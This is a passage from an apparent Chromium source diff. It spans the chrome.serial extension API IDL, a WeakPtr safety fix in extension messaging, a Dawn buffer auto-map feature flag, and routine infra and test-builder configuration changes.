+  required DOMString name;
+
+  // See <code>ConnectionOptions.bufferSize</code>
+  required long bufferSize;
+
+  // See <code>ConnectionOptions.receiveTimeout</code>
+  required long receiveTimeout;
+
+  // See <code>ConnectionOptions.sendTimeout</code>
+  required long sendTimeout;
+
+  // See <code>ConnectionOptions.bitrate</code>. This field may be omitted
+  // or inaccurate if a non-standard bitrate is in use, or if an error
+  // occurred while querying the underlying device.
+  long bitrate;
+
+  // See <code>ConnectionOptions.dataBits</code>. This field may be omitted
+  // if an error occurred while querying the underlying device.
+  DataBits dataBits;
+
+  // See <code>ConnectionOptions.parityBit</code>. This field may be omitted
+  // if an error occurred while querying the underlying device.
+  ParityBit parityBit;
+
+  // See <code>ConnectionOptions.stopBits</code>. This field may be omitted
+  // if an error occurred while querying the underlying device.
+  StopBits stopBits;
+
+  // See <code>ConnectionOptions.ctsFlowControl</code>. This field may be
+  // omitted if an error occurred while querying the underlying device.
+  boolean ctsFlowControl;
+};
+
+enum SendError {
+  // The connection was disconnected.
+  "disconnected",
+
+  // A send was already pending.
+  "pending",
+
+  // The send timed out.
+  "timeout",
+
+  // A system error occurred and the connection may be unrecoverable.
+  "system_error"
+};
+
+dictionary SendInfo {
+  // The number of bytes sent.
+  required long bytesSent;
+
+  // An error code if an error occurred.
+  SendError error;
+};
+
+// The set of control signals which may be sent to a connected serial device
+// using <code>setControlSignals</code>. Note that support for these signals
+// is device-dependent.
+dictionary HostControlSignals {
+  // DTR (Data Terminal Ready).
+  boolean dtr;
+
+  // RTS (Request To Send).
+  boolean rts;
+};
+
+// The set of control signals which may be set by a connected serial device.
+// These can be queried using <code>getControlSignals</code>. Note that
+// support for these signals is device-dependent.
+dictionary DeviceControlSignals {
+  // DCD (Data Carrier Detect) or RLSD (Receive Line Signal/ Detect).
+  required boolean dcd;
+
+  // CTS (Clear To Send).
+  required boolean cts;
+
+  // RI (Ring Indicator).
+  required boolean ri;
+
+  // DSR (Data Set Ready).
+  required boolean dsr;
+};
+
+// Data from an <code>onReceive</code> event.
+dictionary ReceiveInfo {
+  // The connection identifier.
+  required long connectionId;
+
+  // The data received.
+  required ArrayBuffer data;
+};
+
+enum ReceiveError {
+  // The connection was disconnected.
+  "disconnected",
+
+  // No data has been received for <code>receiveTimeout</code> milliseconds.
+  "timeout",
+
+  // The device was most likely disconnected from the host.
+  "device_lost",
+
+  // The device detected a break condition.
+  "break",
+
+  // The device detected a framing error.
+  "frame_error",
+
+  // A character-buffer overrun has occurred. The next character is lost.
+  "overrun",
+
+  // An input buffer overflow has occurred. There is either no room in the
+  // input buffer, or a character was received after the end-of-file (EOF)
+  // character.
+  "buffer_overflow",
+
+  // The device detected a parity error.
+  "parity_error",
+
+  // A system error occurred and the connection may be unrecoverable.
+  "system_error"
+};
+
+// Data from an <code>onReceiveError</code> event.
+dictionary ReceiveErrorInfo {
+  // The connection identifier.
+  required long connectionId;
+
+  // An error code indicating what went wrong.
+  required ReceiveError error;
+};
+
+// |info| : Event data.
+callback OnReceiveListener = undefined(ReceiveInfo info);
+
+interface OnReceiveEvent : ExtensionEvent {
+  static undefined addListener(OnReceiveListener listener);
+  static undefined removeListener(OnReceiveListener listener);
+  static boolean hasListener(OnReceiveListener listener);
+};
+
+// Listener callback for the onReceiveError event.
+callback OnReceiveErrorListener = undefined(ReceiveErrorInfo info);
+
+interface OnReceiveErrorEvent : ExtensionEvent {
+  static undefined addListener(OnReceiveErrorListener listener);
+  static undefined removeListener(OnReceiveErrorListener listener);
+  static boolean hasListener(OnReceiveErrorListener listener);
+};
+
+// Use the <code>chrome.serial</code> API to read from and write to a device
+// connected to a serial port.
+interface Serial {
+  // Returns information about available serial devices on the system.
+  // The list is regenerated each time this method is called.
+  // |Returns| : Called with the list of <code>DeviceInfo</code> objects.
+  // |PromiseValue| : ports
+  [requiredCallback] static Promise<sequence<DeviceInfo>> getDevices();
+
+  // Connects to a given serial port.
+  // |path| : The system path of the serial port to open.
+  // |options| : Port configuration options.
+  // |Returns| : Called when the connection has been opened.
+  // |PromiseValue| : connectionInfo
+  [requiredCallback] static Promise<ConnectionInfo> connect(
+      DOMString path, optional ConnectionOptions options);
+
+  // Update the option settings on an open serial port connection.
+  // |connectionId| : The id of the opened connection.
+  // |options| : Port configuration options.
+  // |Returns| : Called when the configuation has completed.
+  // |PromiseValue| : result
+  [requiredCallback] static Promise<boolean> update(long connectionId,
+                                                    ConnectionOptions options);
+
+  // Disconnects from a serial port.
+  // |connectionId| : The id of the opened connection.
+  // |Returns| : Called when the connection has been closed.
+  // |PromiseValue| : result
+  [requiredCallback] static Promise<boolean> disconnect(long connectionId);
+
+  // Pauses or unpauses an open connection.
+  // |connectionId| : The id of the opened connection.
+  // |paused| : Flag to indicate whether to pause or unpause.
+  // |Returns| : Called when the connection has been successfully paused or
+  //              unpaused.
+  [requiredCallback] static Promise<undefined> setPaused(long connectionId,
+                                                         boolean paused);
+
+  // Retrieves the state of a given connection.
+  // |connectionId| : The id of the opened connection.
+  // |Returns| : Called with connection state information when available.
+  // |PromiseValue| : connectionInfo
+  [requiredCallback] static Promise<ConnectionInfo> getInfo(long connectionId);
+
+  // Retrieves the list of currently opened serial port connections owned by
+  // the application.
+  // |Returns| : Called with the list of connections when available.
+  // |PromiseValue| : connectionInfos
+  [requiredCallback] static Promise<sequence<ConnectionInfo>> getConnections();
+
+  // Writes data to the given connection.
+  // |connectionId| : The id of the connection.
+  // |data| : The data to send.
+  // |Returns| : Called when the operation has completed.
+  // |PromiseValue| : sendInfo
+  [requiredCallback] static Promise<SendInfo> send(long connectionId,
+                                                   ArrayBuffer data);
+
+  // Flushes all bytes in the given connection's input and output buffers.
+  // |PromiseValue| : result
+  [requiredCallback] static Promise<boolean> flush(long connectionId);
+
+  // Retrieves the state of control signals on a given connection.
+  // |connectionId| : The id of the connection.
+  // |Returns| : Called when the control signals are available.
+  // |PromiseValue| : signals
+  [requiredCallback] static Promise<DeviceControlSignals> getControlSignals(
+      long connectionId);
+
+  // Sets the state of control signals on a given connection.
+  // |connectionId| : The id of the connection.
+  // |signals| : The set of signal changes to send to the device.
+  // |Returns| : Called once the control signals have been set.
+  // |PromiseValue| : result
+  [requiredCallback] static Promise<boolean> setControlSignals(
+      long connectionId, HostControlSignals signals);
+
+  // Suspends character transmission on a given connection and places the
+  // transmission line in a break state until the clearBreak is called.
+  // |connectionId| : The id of the connection.
+  // |PromiseValue| : result
+  [requiredCallback] static Promise<boolean> setBreak(long connectionId);
+
+  // Restore character transmission on a given connection and place the
+  // transmission line in a nonbreak state.
+  // |connectionId| : The id of the connection.
+  // |PromiseValue| : result
+  [requiredCallback] static Promise<boolean> clearBreak(long connectionId);
+
+  // Event raised when data has been read from the connection.
+  static attribute OnReceiveEvent onReceive;
+
+  // Event raised when an error occurred while the runtime was waiting for
+  // data on the serial port. Once this event is raised, the connection may be
+  // set to <code>paused</code>. A <code>"timeout"</code> error does not pause
+  // the connection.
+  static attribute OnReceiveErrorEvent onReceiveError;
+};
+
+partial interface Browser {
+  static attribute Serial serial;
+};
diff --git a/extensions/renderer/api/feedback_private_hooks_delegate_unittest.cc b/extensions/renderer/api/feedback_private_hooks_delegate_unittest.cc
index 6856695e..733642f0 100644
--- a/extensions/renderer/api/feedback_private_hooks_delegate_unittest.cc
+++ b/extensions/renderer/api/feedback_private_hooks_delegate_unittest.cc
@@ -20,14 +20,7 @@
 // Tests that the result modifier used in the sendFeedback handle request hook
 // results in callback-based calls getting a response with multiple arguments
 // and promise-based calls getting a response with a single object.
-// TODO(crbug.com/40243802): Disabled on ASAN due to bot failures caused by an
-// underlying gin issue.
-#if defined(ADDRESS_SANITIZER)
-#define MAYBE_SendFeedback DISABLED_SendFeedback
-#else
-#define MAYBE_SendFeedback SendFeedback
-#endif
-TEST_F(FeedbackPrivateHooksDelegateTest, MAYBE_SendFeedback) {
+TEST_F(FeedbackPrivateHooksDelegateTest, SendFeedback) {
   // Initialize bindings system.
   bindings_system()->api_system()->RegisterHooksDelegate(
       "feedbackPrivate", std::make_unique<FeedbackPrivateHooksDelegate>());
diff --git a/extensions/renderer/api/messaging/one_time_message_handler.cc b/extensions/renderer/api/messaging/one_time_message_handler.cc
index f2acf83d..7ef6c0a4 100644
--- a/extensions/renderer/api/messaging/one_time_message_handler.cc
+++ b/extensions/renderer/api/messaging/one_time_message_handler.cc
@@ -789,9 +789,17 @@
   }
 
   v8::LocalVector<v8::Value> args(isolate, {v8_message});
+
+  // Keep a WeakPtr, since `CompleteRequest` may destroy the context / `this`.
+  base::WeakPtr<OneTimeMessageHandler> weak_this = weak_factory_.GetWeakPtr();
+
   bindings_system_->api_system()->request_handler()->CompleteRequest(
       port.request_id, args, error);
 
+  if (!weak_this) {
+    return handled;
+  }
+
   bindings_system_->messaging_service()->CloseMessagePort(
       script_context, target_port_id, /*close_channel=*/true);
 
diff --git a/gpu/command_buffer/client/internal/mappable_buffer_test_template.h b/gpu/command_buffer/client/internal/mappable_buffer_test_template.h
index 520f789..d3f065e 100644
--- a/gpu/command_buffer/client/internal/mappable_buffer_test_template.h
+++ b/gpu/command_buffer/client/internal/mappable_buffer_test_template.h
@@ -123,7 +123,7 @@
     // TODO(329211602): Currently only wayland has a valid
     // IsNativePixmapConfigSupported(). We should implement that in X11 and
     // other platforms.
-    if (ui::OzonePlatform::GetPlatformNameForTest() == "wayland") {
+    if (ui::OzonePlatform::RunningOnWaylandForTest()) {
       run_gpu_test_ = true;
     }
 #endif
diff --git a/gpu/command_buffer/client/webgpu_implementation.cc b/gpu/command_buffer/client/webgpu_implementation.cc
index 3b70948..2e6589f 100644
--- a/gpu/command_buffer/client/webgpu_implementation.cc
+++ b/gpu/command_buffer/client/webgpu_implementation.cc
@@ -90,7 +90,6 @@
 }
 
 void DawnWireServices::ProcessEvents() {
-  base::AutoLockMaybe lock(OptionalToPtr(lock_));
   wgpuDawnWireClientInstanceProcessEvents(wgpu_instance_);
 }
 
diff --git a/gpu/command_buffer/service/dawn_context_provider.cc b/gpu/command_buffer/service/dawn_context_provider.cc
index 4c00aba..0c4686c4 100644
--- a/gpu/command_buffer/service/dawn_context_provider.cc
+++ b/gpu/command_buffer/service/dawn_context_provider.cc
@@ -163,6 +163,13 @@
     enabled_toggles.push_back("skip_validation");
   }
 
+  if (features::kSkiaGraphiteDawnEnableAutoMap.Get()) {
+    // Tell Dawn to automatically map buffers when they are not in use by the
+    // GPU. This allows Skia to access buffer contents on the CPU without
+    // blocking, making operations faster.
+    enabled_toggles.push_back("auto_map_backend_buffer");
+  }
+
   enabled_toggles.push_back("disable_robustness");
   enabled_toggles.push_back("disable_lazy_clear_for_mapped_at_creation_buffer");
 
diff --git a/gpu/config/gpu_finch_features.cc b/gpu/config/gpu_finch_features.cc
index edb3e5c..9705f30 100644
--- a/gpu/config/gpu_finch_features.cc
+++ b/gpu/config/gpu_finch_features.cc
@@ -357,6 +357,10 @@
 const base::FeatureParam<bool> kSkiaGraphiteDawnBackendDebugLabels{
     &kSkiaGraphite, "dawn_backend_debug_labels", DCHECK_IS_ON()};
 
+// Enables automatic buffer mappings in Dawn's backend.
+const base::FeatureParam<bool> kSkiaGraphiteDawnEnableAutoMap{
+    &kSkiaGraphite, "dawn_enable_auto_map", true};
+
 // Whether to use PersistentCache for Dawn's pipeline cache.
 BASE_FEATURE_PARAM(bool,
                    kSkiaGraphiteDawnUsePersistentCache,
diff --git a/gpu/config/gpu_finch_features.h b/gpu/config/gpu_finch_features.h
index 191d6d2..c43563ed 100644
--- a/gpu/config/gpu_finch_features.h
+++ b/gpu/config/gpu_finch_features.h
@@ -65,6 +65,8 @@
 GPU_CONFIG_EXPORT extern const base::FeatureParam<bool>
     kSkiaGraphiteDawnBackendDebugLabels;
 GPU_CONFIG_EXPORT extern const base::FeatureParam<bool>
+    kSkiaGraphiteDawnEnableAutoMap;
+GPU_CONFIG_EXPORT extern const base::FeatureParam<bool>
     kSkiaGraphiteDawnUsePersistentCache;
 GPU_CONFIG_EXPORT extern const base::FeatureParam<int>
     kSkiaGraphiteMaxPendingRecordings;
diff --git a/infra/config/PACKAGE.lock b/infra/config/PACKAGE.lock
index 4a9c32d..cb65ea8 100644
--- a/infra/config/PACKAGE.lock
+++ b/infra/config/PACKAGE.lock
@@ -32,7 +32,7 @@
 			"name": "@chromium-luci",
 			"source": {
 				"repo": "https://chromium.googlesource.com/infra/chromium/+/refs/heads/main",
-				"revision": "eaefde398764139a74580291bd1ae7c5c57ea415",
+				"revision": "ba2bfaafdaf6e7c5b4605e70d9dc6d94658f9400",
 				"path": "starlark-libs/chromium-luci"
 			},
 			"lucicfg": "1.46.1"
diff --git a/infra/config/PACKAGE.star b/infra/config/PACKAGE.star
index d5826d2..5ae27df 100644
--- a/infra/config/PACKAGE.star
+++ b/infra/config/PACKAGE.star
@@ -30,7 +30,7 @@
         ref = "refs/heads/main",
         path = "starlark-libs/chromium-luci",
         # Take revision from https://chromium.googlesource.com/infra/chromium/.
-        revision = "eaefde398764139a74580291bd1ae7c5c57ea415",
+        revision = "ba2bfaafdaf6e7c5b4605e70d9dc6d94658f9400",
     ),
 )
 
diff --git a/infra/config/generated/builders/ci/android-x64-treesinviz-enabled-rel/properties.json b/infra/config/generated/builders/ci/android-x64-treesinviz-enabled-rel/properties.json
index b1469bf..2bf77ef 100644
--- a/infra/config/generated/builders/ci/android-x64-treesinviz-enabled-rel/properties.json
+++ b/infra/config/generated/builders/ci/android-x64-treesinviz-enabled-rel/properties.json
@@ -51,6 +51,8 @@
           "group": "tryserver.chromium.android"
         }
       ],
+      "retry_failed_shards": true,
+      "retry_invalid_shards": true,
       "targets_spec_directory": "infra/config/generated/builders/ci/android-x64-treesinviz-enabled-rel/targets"
     }
   },
diff --git a/infra/config/generated/builders/ci/linux-chromeos-treesinviz-enabled-rel/properties.json b/infra/config/generated/builders/ci/linux-chromeos-treesinviz-enabled-rel/properties.json
index 9c01dc1..3609c037 100644
--- a/infra/config/generated/builders/ci/linux-chromeos-treesinviz-enabled-rel/properties.json
+++ b/infra/config/generated/builders/ci/linux-chromeos-treesinviz-enabled-rel/properties.json
@@ -48,6 +48,8 @@
           "group": "tryserver.chromium.chromiumos"
         }
       ],
+      "retry_failed_shards": true,
+      "retry_invalid_shards": true,
       "targets_spec_directory": "infra/config/generated/builders/ci/linux-chromeos-treesinviz-enabled-rel/targets"
     }
   },
diff --git a/infra/config/generated/builders/ci/linux-treesinviz-disabled-rel/properties.json b/infra/config/generated/builders/ci/linux-treesinviz-disabled-rel/properties.json
index d921516..3248a320 100644
--- a/infra/config/generated/builders/ci/linux-treesinviz-disabled-rel/properties.json
+++ b/infra/config/generated/builders/ci/linux-treesinviz-disabled-rel/properties.json
@@ -44,6 +44,8 @@
           "group": "tryserver.chromium.linux"
         }
       ],
+      "retry_failed_shards": true,
+      "retry_invalid_shards": true,
       "targets_spec_directory": "infra/config/generated/builders/ci/linux-treesinviz-disabled-rel/targets"
     }
   },
diff --git a/infra/config/generated/builders/ci/mac-osxbeta-rel/targets/chromium.fyi.json b/infra/config/generated/builders/ci/mac-osxbeta-rel/targets/chromium.fyi.json
index 7d7e755..8bc19a02 100644
--- a/infra/config/generated/builders/ci/mac-osxbeta-rel/targets/chromium.fyi.json
+++ b/infra/config/generated/builders/ci/mac-osxbeta-rel/targets/chromium.fyi.json
@@ -5,1605 +5,23 @@
         "merge": {
           "script": "//testing/merge_scripts/standard_gtest_merge.py"
         },
-        "module_name": "//third_party/abseil-cpp:absl_hardening_tests",
-        "module_scheme": "gtest",
-        "name": "absl_hardening_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "absl_hardening_tests",
-        "test_id_prefix": "ninja://third_party/abseil-cpp:absl_hardening_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/accessibility:accessibility_unittests",
-        "module_scheme": "gtest",
-        "name": "accessibility_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "accessibility_unittests",
-        "test_id_prefix": "ninja://ui/accessibility:accessibility_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//third_party/angle/src/tests:angle_unittests",
-        "module_scheme": "gtest",
-        "name": "angle_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "angle_unittests",
-        "test_id_prefix": "ninja://third_party/angle/src/tests:angle_unittests/",
-        "use_isolated_scripts_api": true
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//extensions/shell:app_shell_unittests",
-        "module_scheme": "gtest",
-        "name": "app_shell_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "app_shell_unittests",
-        "test_id_prefix": "ninja://extensions/shell:app_shell_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//base:base_unittests",
-        "module_scheme": "gtest",
-        "name": "base_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "base_unittests",
-        "test_id_prefix": "ninja://base:base_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/blink/common:blink_common_unittests",
-        "module_scheme": "gtest",
-        "name": "blink_common_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "blink_common_unittests",
-        "test_id_prefix": "ninja://third_party/blink/common:blink_common_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/blink/renderer/platform:blink_fuzzer_unittests",
-        "module_scheme": "gtest",
-        "name": "blink_fuzzer_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "blink_fuzzer_unittests",
-        "test_id_prefix": "ninja://third_party/blink/renderer/platform:blink_fuzzer_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/blink/renderer/platform/heap:blink_heap_unittests",
-        "module_scheme": "gtest",
-        "name": "blink_heap_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "blink_heap_unittests",
-        "test_id_prefix": "ninja://third_party/blink/renderer/platform/heap:blink_heap_unittests/"
-      },
-      {
-        "args": [
-          "--git-revision=${got_revision}"
-        ],
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/blink/renderer/platform:blink_platform_unittests",
-        "module_scheme": "gtest",
-        "name": "blink_platform_unittests",
-        "precommit_args": [
-          "--gerrit-issue=${patch_issue}",
-          "--gerrit-patchset=${patch_set}",
-          "--buildbucket-id=${buildbucket_build_id}"
-        ],
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "blink_platform_unittests",
-        "test_id_prefix": "ninja://third_party/blink/renderer/platform:blink_platform_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/blink/renderer/controller:blink_unittests",
-        "module_scheme": "gtest",
-        "name": "blink_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "blink_unittests",
-        "test_id_prefix": "ninja://third_party/blink/renderer/controller:blink_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/boringssl:boringssl_crypto_tests",
-        "module_scheme": "gtest",
-        "name": "boringssl_crypto_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "boringssl_crypto_tests",
-        "test_id_prefix": "ninja://third_party/boringssl:boringssl_crypto_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/boringssl:boringssl_ssl_tests",
-        "module_scheme": "gtest",
-        "name": "boringssl_ssl_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "boringssl_ssl_tests",
-        "test_id_prefix": "ninja://third_party/boringssl:boringssl_ssl_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//chrome/test:browser_tests",
-        "module_scheme": "gtest",
-        "name": "browser_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com",
-          "shards": 35
-        },
-        "test": "browser_tests",
-        "test_id_prefix": "ninja://chrome/test:browser_tests/"
-      },
-      {
-        "args": [
-          "--gtest_filter=-*UsingRealWebcam*"
-        ],
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//media/capture:capture_unittests",
-        "module_scheme": "gtest",
-        "name": "capture_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "capture_unittests",
-        "test_id_prefix": "ninja://media/capture:capture_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//media/cast:cast_unittests",
-        "module_scheme": "gtest",
-        "name": "cast_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "cast_unittests",
-        "test_id_prefix": "ninja://media/cast:cast_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//cc:cc_unittests",
-        "module_scheme": "gtest",
-        "name": "cc_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "cc_unittests",
-        "test_id_prefix": "ninja://cc:cc_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//chrome/test:chrome_app_unittests",
-        "module_scheme": "gtest",
-        "name": "chrome_app_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "chrome_app_unittests",
-        "test_id_prefix": "ninja://chrome/test:chrome_app_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//chrome/test/chromedriver:chromedriver_unittests",
-        "module_scheme": "gtest",
-        "name": "chromedriver_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "chromedriver_unittests",
-        "test_id_prefix": "ninja://chrome/test/chromedriver:chromedriver_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//components:components_browsertests",
-        "module_scheme": "gtest",
-        "name": "components_browsertests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "components_browsertests",
-        "test_id_prefix": "ninja://components:components_browsertests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//components:components_unittests",
-        "module_scheme": "gtest",
-        "name": "components_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com",
-          "shards": 3
-        },
-        "test": "components_unittests",
-        "test_id_prefix": "ninja://components:components_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//content/test:content_browsertests",
-        "module_scheme": "gtest",
-        "name": "content_browsertests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com",
-          "shards": 8
-        },
-        "test": "content_browsertests",
-        "test_id_prefix": "ninja://content/test:content_browsertests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//content/test:content_unittests",
-        "module_scheme": "gtest",
-        "name": "content_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "content_unittests",
-        "test_id_prefix": "ninja://content/test:content_unittests/"
-      },
-      {
-        "experiment_percentage": 100,
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/crashpad/crashpad:crashpad_tests",
-        "module_scheme": "gtest",
-        "name": "crashpad_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "crashpad_tests",
-        "test_id_prefix": "ninja://third_party/crashpad/crashpad:crashpad_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//crypto:crypto_unittests",
-        "module_scheme": "gtest",
-        "name": "crypto_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "crypto_unittests",
-        "test_id_prefix": "ninja://crypto:crypto_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//device:device_unittests",
-        "module_scheme": "gtest",
-        "name": "device_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "device_unittests",
-        "test_id_prefix": "ninja://device:device_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/display:display_unittests",
-        "module_scheme": "gtest",
-        "name": "display_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "display_unittests",
-        "test_id_prefix": "ninja://ui/display:display_unittests/"
-      },
-      {
-        "ci_only": true,
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/leveldatabase:env_chromium_unittests",
-        "module_scheme": "gtest",
-        "name": "env_chromium_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "env_chromium_unittests",
-        "test_id_prefix": "ninja://third_party/leveldatabase:env_chromium_unittests/"
-      },
-      {
-        "merge": {
